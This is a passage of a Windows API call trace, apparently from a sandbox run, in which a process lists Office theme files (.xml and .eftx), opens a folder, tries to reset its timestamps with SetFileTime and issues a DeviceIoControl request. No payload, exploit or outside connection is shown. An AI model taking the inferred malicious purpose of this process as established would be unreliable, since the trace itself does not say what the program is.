ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0068.732] GetLastError () returned 0x12 [0068.732] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x102ba58) returned 1 [0068.733] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0068.733] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x102bb60) returned 1 [0068.733] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x102b950) returned 1 [0068.733] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="")) returned 1 [0068.733] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102b950 [0068.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0068.734] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0068.734] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1030968 [0068.735] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1030968, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1030968, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0068.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030968) returned 1 [0068.735] NtClose (Handle=0x18c) returned 0x0 [0068.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x102b950) returned 1 [0068.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029650 [0068.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102b950 [0068.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102bb60 [0068.735] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0068.782] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.825] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="")) returned 1 [0068.825] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.825] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.825] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102ba58 [0068.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029650) returned 1 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10096c8 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021570 [0068.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.826] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="")) returned 1 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10096e8 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021678 [0068.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.826] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="")) returned 1 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.826] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009708 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021780 [0068.827] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.827] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="")) returned 1 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.827] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.827] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009728 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021888 [0068.827] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.827] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, 